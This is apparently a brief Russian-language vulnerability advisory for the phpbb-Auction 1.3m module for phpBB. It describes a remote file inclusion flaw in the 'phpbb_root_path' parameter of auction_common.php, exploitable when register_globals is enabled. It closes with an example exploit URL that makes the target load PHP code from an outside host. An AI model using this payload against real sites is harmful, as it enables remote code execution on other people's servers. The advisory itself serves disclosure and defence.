Программа: phpbb-Auction (модуль для phpBB) 1.3m, возможно другие версии.
Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "phpbb_root_path" в сценарии "auction/auction_common.php".
Удаленный пользователь может с помощью специально сформированного запроса
выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для
удачной эксплуатации уязвимости опция "register_globals" должна быть включена.
Пример:
http://[target]/[path]/aution\auction_common.php? phpbb_root_path=http://unsecured-systems.com/forum/
